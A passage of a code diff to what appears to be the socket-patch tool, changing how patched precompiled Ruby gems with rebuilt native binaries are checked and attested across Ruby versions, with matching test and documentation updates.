--check`: the installed gem copy at `pkg_path`, whose @@ -1787,7 +1794,9 @@ fn ruby_minor(version: &str) -> Option { /// to exactly one: the ABI its dir name carries (`…/ruby/3.4.0`) and the /// ABI of every `extensions//` dir in it agree. `None` for a /// home that shows no ABI (a custom `GEM_HOME` holding no compiled gem) or -/// more than one: any Ruby may be pointed at such a home. +/// more than one: any Ruby may be pointed at such a home. It decides one +/// thing: whether a grafted copy needs a Ruby asked which one is running +/// `apply` ([`built_state`]). It is no condition of attestation. fn home_minor(copy: &GemCopy) -> Option { let mut minors: Vec = abi_dirs(copy) .iter() @@ -3477,14 +3486,13 @@ fn back_up_prebuilt(copy: &GemCopy, grafts: &[Graft], absent: &[String]) -> std: /// marker that attests them. The marker keeps the binaries an earlier /// graft of the same record replaced for another Ruby, while they are /// still the built ones. A step that fails puts every binary back as it -/// was. `Ok` lists the prebuilt binaries the graft does not reach -/// ([`ungrafted_binaries`]). +/// was. fn graft_binaries( copy: &GemCopy, scope: &NativeScope, files: &HashMap, grafts: &[Graft], -) -> std::io::Result> { +) -> std::io::Result<()> { let mut previous: Vec = Vec::new(); for graft in grafts { let path = copy.gem_dir.join(&graft.target); @@ -3498,7 +3506,7 @@ fn graft_binaries( let earlier = read_marker_sync(©.gem_dir).filter(|m| { m.grafted && marker_sources_match(m, scope, files) && marker_artifacts_hold(m, copy, scope) }); - let grafted = (|| -> std::io::Result> { + let grafted = (|| -> std::io::Result<()> { let mut marker = BuildMarker { schema: GRAFT_MARKER_SCHEMA, grafted: true, @@ -3520,8 +3528,7 @@ fn graft_binaries( .lib_artifacts .insert(graft.target.clone(), compute_file_git_sha256_sync(&path)?); } - write_marker(copy, &marker)?; - Ok(ungrafted_binaries(&marker, copy)) + write_marker(copy, &marker) })(); if grafted.is_err() { for (target, bytes, perms) in &previous { @@ -3806,8 +3813,8 @@ impl Job<'_> { ( REBUILT_CODE.to_string(), format!( - "{}: its native extension was rebuilt from sources an earlier run \ - patched without rebuilding ({})", + "{}: its native extension was rebuilt from sources that were already \ + patched ({})", self.package_key, self.inputs ), ) @@ -3956,28 +3963,17 @@ pub async fn apply_gem_package_patch( let precompiled = scope.precompiled.is_some(); let (installed_files, absent) = files_as_installed(©, &scope, files).await; - // Already patched and built from these sources: nothing to do. A - // precompiled copy can also be built for one Ruby and not for another - // that its gem home serves (`grafted`): whether anything is left to - // build then depends on the Ruby that runs, which is asked below. - let (built, grafted) = { + // Already patched and built from these sources: nothing to do, and no + // Ruby is started. The one exception is a precompiled copy grafted for + // one Ruby whose gem home another Ruby may share: `apply` under that + // other Ruby grafts its binary too, and only the Ruby that runs can + // say which it is. A dry run asks nothing. + let built = { let (copy, scope, files) = (copy.clone(), scope.clone(), files.clone()); - crate::utils::fs::run_blocking(move || { - let marker = read_marker_sync(©.gem_dir); - let built = marker - .as_ref() - .is_some_and(|m| marker_holds(m, ©, &scope, &files)); - let grafted = marker.is_some_and(|m| { - m.grafted - && marker_sources_match(&m, &scope, &files) - && marker_artifacts_hold(&m, ©, &scope) - }); - (built, grafted) - }) - .await + crate::utils::fs::run_blocking(move || built_state(©, &scope, &files)).await }; - if built { - return plain_apply( + let unchanged = || { + plain_apply( read_scope, package_key, pkg_path, @@ -3986,8 +3982,13 @@ pub async fn apply_gem_package_patch( dry_run, policy, ) - .await; - } + }; + let grafted_for = match built { + Built::Yes => return unchanged().await, + Built::ForRubies(_) if dry_run => return unchanged().await, + Built::ForRubies(minors) => Some(minors), + Built::No => None, + }; // A gem RubyGems built can also be installed patched through hosted // mode; a precompiled one cannot (hosted mode refuses platform gems). @@ -4011,6 +4012,8 @@ pub async fn apply_gem_package_patch( // What files alone tell: a build to replace and a Ruby to try. let preflight = match rebuild_preflight(©, env, precompiled).await { Ok(p) => p, + // Built already, and no Ruby here to ask whether it is another's. + Err(_) if grafted_for.is_some() => return unchanged().await, Err(why) => return unbuildable(why), }; // A precompiled gem's extension can only be rebuilt from the source gem @@ -4045,7 +4048,7 @@ pub async fn apply_gem_package_patch( copy.spec_path.display() ) }; - if precompiled && !grafted { + if precompiled && grafted_for.is_none() { let Some(source) = &source else { return needs_source_gem(None, unnamed(), false); }; @@ -4144,8 +4147,19 @@ pub async fn apply_gem_package_patch( let probe = match find_ruby(©, env, preflight, scope.precompiled.as_deref()).await { Ok(p) => p, + Err(_) if grafted_for.is_some() => return unchanged().await, Err(why) => return unbuildable(why), }; + // A copy grafted already: this Ruby's binary is among the grafted ones + // (or it did not say which Ruby it is), and nothing is left to build. + // Otherwise it is another Ruby of a shared gem home, and its binary is + // grafted beside the others. + if let Some(grafted) = &grafted_for { + let minor = probe.facts.as_ref().and_then(RubyFacts::minor); + if minor.is_none_or(|minor| grafted.contains(&minor)) { + return unchanged().await; + } + } let job = Job { read_scope, package_key, @@ -4160,36 +4174,6 @@ pub async fn apply_gem_package_patch( inputs: &inputs, }; - // A precompiled copy whose binary for this Ruby was already replaced by - // a build of these sources has nothing left to build here: what keeps - // it from being attested is the binaries it ships for other Rubies. - if precompiled { - let grafted = { - let (copy, scope, files) = (copy.clone(), scope.clone(), files.clone()); - let minor = probe.facts.as_ref().and_then(RubyFacts::minor); - crate::utils::fs::run_blocking(move || { - minor.and_then(|minor| ungrafted_after(©, &scope, &files, &minor)) - }) - .await - }; - if let Some(ungrafted) = grafted { - let mut applied = plain_apply( - read_scope, - package_key, - pkg_path, - &installed_files, - sources, - false, - policy, - ) - .await; - if applied.result.success { - applied.warning = other_rubies_warning(package_key, ©, &ungrafted); - } - return applied; - } - } - // The source gem holds every build input, where the installed copy may // not (a build deletes what it no longer needs; a precompiled gem never // shipped them): the extension is rebuilt from it when it can be had. @@ -4364,29 +4348,6 @@ async fn move_into_copy( } } -/// The warning of a precompiled copy whose graft does not reach every -/// prebuilt binary a Ruby could load from its gem home (`ungrafted`): -/// `None` when it reaches them all. -fn other_rubies_warning( - package_key: &str, - copy: &GemCopy, - ungrafted: &[String], -) -> Option<(String, String)> { - (!ungrafted.is_empty()).then(|| { - ( - NOT_REBUILT_REASON.to_string(), - format!( - "{package_key}: its extension was rebuilt for the Ruby that ran this, but the \ - gem also ships prebuilt binaries for other Ruby versions ({}), and nothing \ - ties the gem home {} to one Ruby; run `socket-patch apply` under each Ruby \ - that uses it. Until every one is rebuilt, vex does not attest the patch", - ungrafted.join(", "), - copy.home.display() - ), - ) - }) -} - /// Put a staged build into a precompiled copy: the record's files are /// written into the copy, and each prebuilt binary the owning Ruby loads is /// replaced by the build's ([`plan_graft`]), after the originals are backed @@ -4450,14 +4411,7 @@ async fn graft_into_copy( crate::utils::fs::run_blocking(move || graft_binaries(©, &scope, &files, &grafts)).await }; match grafted { - Ok(ungrafted) => { - let mut applied = job.built(result); - // The binaries of other Rubies outrank the note on a rebuild. - if let Some(warning) = other_rubies_warning(job.package_key, copy, &ungrafted) { - applied.warning = Some(warning); - } - applied - } + Ok(()) => job.built(result), Err(e) => { drop_new_backup().await; let detail = format!( @@ -5947,7 +5901,7 @@ mod tests { #[tokio::test] async fn a_grafted_copy_is_attested_and_rolled_back() { let tmp = tempfile::tempdir().unwrap(); - // A home laid out for one Ruby: only its binary is ever loaded. + // A project's bundle path, as Bundler lays it out for Ruby 3.4. let home = tmp.path().join("vendor/bundle/ruby/3.4.0"); let copy = precompiled_gem(&home); let target = copy.gem_dir.join("lib/a/3.4/a.bundle"); @@ -6538,14 +6492,14 @@ mod tests { assert!(!unlocked_stage_is_dead(&root)); } - /// A grafted marker attests only when no prebuilt binary a Ruby could - /// load from the gem home is left unpatched. A home laid out for one - /// Ruby loads that Ruby's binary alone. A home tied to none can be - /// used by any Ruby the gem ships a binary for: each must run `apply`, - /// which grafts its own binary and keeps the others', and only then - /// is the copy attested. Rollback restores every one. + /// A grafted copy is held to what a normal install is: the build is + /// for the Ruby that made it. It is attested as soon as its marker + /// holds, in a gem home that names no Ruby too, whatever binaries the + /// gem ships for other Rubies. A second Ruby's `apply` adds its binary + /// to the same marker and backup; a grafted binary that no longer + /// hashes as built attests nothing; rollback restores every one. #[tokio::test] - async fn a_home_shared_by_rubies_is_attested_once_every_binary_is_grafted() { + async fn a_grafted_copy_is_attested_from_its_first_graft() { let tmp = tempfile::tempdir().unwrap(); // No ABI in its name, no compiled gem in it: any Ruby's home. let home = tmp.path().join("gems-home"); @@ -6555,23 +6509,18 @@ mod tests { copy.gem_dir.join("lib/a/3.3/a.bundle"), copy.gem_dir.join("lib/a/3.4/a.bundle"), ); - let after = "c".repeat(64); let record: HashMap = [( "ext/a/a.c".to_string(), PatchFileInfo { before_hash: compute_git_sha256_from_bytes(b"int a;"), - after_hash: after, + after_hash: "c".repeat(64), }, )] .into(); let (scope, _) = scope_of(©.gem_dir, &record).await; - assert_eq!( - prebuilt_siblings(©.gem_dir, "lib/a/3.4/a.bundle"), - ["lib/a/3.3/a.bundle"] - ); - assert!(prebuilt_siblings(©.gem_dir, "lib/a.bundle").is_empty()); + assert_eq!(built_state(©, &scope, &record), Built::No); - // Ruby 3.4 runs `apply`. + // Ruby 3.4 runs `apply`: attested from here on. let staged = staged_build( &tmp.path().join("stage34"), &["a/a.bundle"], @@ -6579,27 +6528,14 @@ mod tests { ); let grafts = plan_graft(©, &probe_for(©, "3.4.10"), &staged).unwrap(); assert!(back_up_prebuilt(©, &grafts, &[]).unwrap()); - let ungrafted = graft_binaries(©, &scope, &record, &grafts).unwrap(); - assert_eq!(ungrafted, ["lib/a/3.3/a.bundle"]); - assert_eq!( - std::fs::read(&for_33).unwrap(), - PREBUILT, - "3.3 still loads the old code" - ); - assert_eq!( - verify_native_build(©.gem_dir, &record).await, - Err(NOT_REBUILT_REASON.to_string()), - "attested while Ruby 3.3 would load an unpatched binary" - ); - assert!(other_rubies_warning("pkg:gem/a@1", ©, &ungrafted) - .is_some_and(|(code, detail)| code == NOT_REBUILT_REASON - && detail.contains("lib/a/3.3/a.bundle"))); - // Under 3.4 again there is nothing to build; under 3.3 there is. + graft_binaries(©, &scope, &record, &grafts).unwrap(); + assert_eq!(std::fs::read(&for_33).unwrap(), PREBUILT); + assert_eq!(verify_native_build(©.gem_dir, &record).await, Ok(())); + // Another Ruby may be the one running `apply` next: it is asked. assert_eq!( - ungrafted_after(©, &scope, &record, "3.4"), - Some(vec!["lib/a/3.3/a.bundle".to_string()]) + built_state(©, &scope, &record), + Built::ForRubies(vec!["3.4".to_string()]) ); - assert_eq!(ungrafted_after(©, &scope, &record, "3.3"), None); // Ruby 3.3 runs `apply`: its binary joins the marker and the backup. let staged = staged_build( @@ -6609,9 +6545,7 @@ mod tests { ); let grafts = plan_graft(©, &probe_for(©, "3.3.6"), &staged).unwrap(); assert!(!back_up_prebuilt(©, &grafts, &[]).unwrap()); - assert!(graft_binaries(©, &scope, &record, &grafts) - .unwrap() - .is_empty()); + graft_binaries(©, &scope, &record, &grafts).unwrap(); assert_eq!(std::fs::read(&for_33).unwrap(), b"built by 3.3"); assert_eq!(std::fs::read(&for_34).unwrap(), b"built by 3.4"); let marker = read_marker_sync(©.gem_dir).unwrap(); @@ -6620,9 +6554,17 @@ mod tests { ["lib/a/3.3/a.bundle", "lib/a/3.4/a.bundle"] ); assert_eq!(verify_native_build(©.gem_dir, &record).await, Ok(())); - // One of them reinstalled: neither is attested. + // Every binary the gem ships is grafted: no Ruby is left to ask. + assert_eq!(built_state(©, &scope, &record), Built::Yes); + + // A grafted binary that is no longer the built one (the gem was + // reinstalled over it): the marker attests nothing. std::fs::write(&for_33, PREBUILT).unwrap(); - assert!(verify_native_build(©.gem_dir, &record).await.is_err()); + assert_eq!( + verify_native_build(©.gem_dir, &record).await, + Err(NOT_REBUILT_REASON.to_string()) + ); + assert_eq!(built_state(©, &scope, &record), Built::No); std::fs::write(&for_33, b"built by 3.3").unwrap(); let env = RubyEnv { @@ -6641,35 +6583,77 @@ mod tests { } } - /// A home laid out for one Ruby is attested by that Ruby's binary, and - /// by no other: a graft for 3.3 in a 3.4 home patches nothing 3.4 - /// loads. + /// A copy built from these sources starts no Ruby on the next `apply`, + /// with one exception: a grafted copy whose gem ships a binary for + /// another Ruby that may be sharing its gem home. A home laid out for + /// the Ruby already grafted is shared with no other. #[test] - fn a_tied_home_is_attested_by_its_own_rubys_binary() { + fn a_ruby_is_asked_only_when_another_may_share_the_home() { let tmp = tempfile::tempdir().unwrap(); let home = tmp.path().join("gems-home"); let copy = precompiled_gem(&home); - // Another gem's extension, built for 3.4: the home's Ruby. + let after = "c".repeat(64); + let record: HashMap = + [("ext/a/a.c".to_string(), info(&after))].into(); + let scope = NativeScope { + inputs: vec!["ext/a/a.c".into()], + precompiled: Some("arm64-darwin".into()), + ..NativeScope::default() + }; + let prebuilt = compute_git_sha256_from_bytes(PREBUILT); + let graft = |minors: &[&str]| { + let marker = BuildMarker { + schema: GRAFT_MARKER_SCHEMA, + sources: [("ext/a/a.c".to_string(), after.clone())].into(), + lib_artifacts: minors + .iter() + .map(|minor| (format!("lib/a/{minor}/a.bundle"), prebuilt.clone())) + .collect(), + grafted: true, + ..BuildMarker::default() + }; + write_marker(©, &marker).unwrap(); + }; + assert_eq!( + prebuilt_siblings(©.gem_dir, "lib/a/3.4/a.bundle"), + ["lib/a/3.3/a.bundle"] + ); + assert!(prebuilt_siblings(©.gem_dir, "lib/a.bundle").is_empty()); + + // A home that names no Ruby: the gem ships a binary for 3.3 too. + graft(&["3.4"]); + assert_eq!(home_minor(©), None); + assert_eq!( + built_state(©, &scope, &record), + Built::ForRubies(vec!["3.4".to_string()]) + ); + graft(&["3.3", "3.4"]); + assert_eq!(built_state(©, &scope, &record), Built::Yes); + + // Another gem's extension, built for 3.4, makes it that Ruby's home. std::fs::create_dir_all(home.join("extensions/arm64-darwin-24/3.4.0/racc-1.8.1")).unwrap(); assert_eq!(home_minor(©).as_deref(), Some("3.4")); - let grafted = |minor: &str| BuildMarker { - schema: GRAFT_MARKER_SCHEMA, - lib_artifacts: [(format!("lib/a/{minor}/a.bundle"), String::new())].into(), - grafted: true, - ..BuildMarker::default() - }; - assert!(ungrafted_binaries(&grafted("3.4"), ©).is_empty()); + graft(&["3.4"]); + assert_eq!(built_state(©, &scope, &record), Built::Yes); + // Grafted for a Ruby that is not the home's: the home's is asked. + graft(&["3.3"]); assert_eq!( - ungrafted_binaries(&grafted("3.3"), ©), - ["lib/a/3.4/a.bundle"] + built_state(©, &scope, &record), + Built::ForRubies(vec!["3.3".to_string()]) ); // A second ABI in the home: no longer one Ruby's. std::fs::create_dir_all(home.join("extensions/arm64-darwin-24/3.3.0/racc-1.8.1")).unwrap(); assert_eq!(home_minor(©), None); + graft(&["3.4"]); assert_eq!( - ungrafted_binaries(&grafted("3.4"), ©), - ["lib/a/3.3/a.bundle"] + built_state(©, &scope, &record), + Built::ForRubies(vec!["3.4".to_string()]) ); + // Another record than the marker's: nothing is built yet. + let other: HashMap = + [("ext/a/a.c".to_string(), info(&"d".repeat(64)))].into(); + assert_eq!(built_state(©, &scope, &other), Built::No); + assert_eq!(ruby_minor("3.4.0-static").as_deref(), Some("3.4")); assert_eq!(ruby_minor("3.4.10").as_deref(), Some("3.4")); assert_eq!(ruby_minor("ruby"), None); diff --git a/docs/ecosystems.md b/docs/ecosystems.md index a98f7030a..6de6d91b6 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -2049,12 +2049,10 @@ restores it byte for byte without recompiling, and records what it built in installed binary: after `gem pristine` or a reinstall, run `apply` again. A precompiled gem ships one binary for each Ruby version it supports, and `apply` rebuilds the one -for the Ruby it runs with. In a gem home that belongs to one Ruby (`vendor/bundle/ruby/3.4.0`, a -Ruby's own gem directory, or any home that holds a compiled gem) that is the only binary ever -loaded, and `vex` attests the patch. A custom `GEM_HOME` with nothing in it that ties it to one -Ruby could be used by several: there `apply` warns that the binaries for the other Ruby versions -are still the prebuilt ones, and `vex` attests the patch only after `apply` has run under each -Ruby version the gem ships a binary for. +for the Ruby it runs with, the way `gem install` builds a gem for the Ruby that installs it. +`vex` attests the patch from then on. If a second Ruby version uses the same gem home, run +`apply` with that Ruby as well: it rebuilds that version's binary beside the first, and +`rollback` restores both. Interrupting `apply` during a rebuild (Ctrl-C, a cancelled CI job) stops the build with it. A build from the source gem had not touched the installed gem yet, so the gem is as it was; the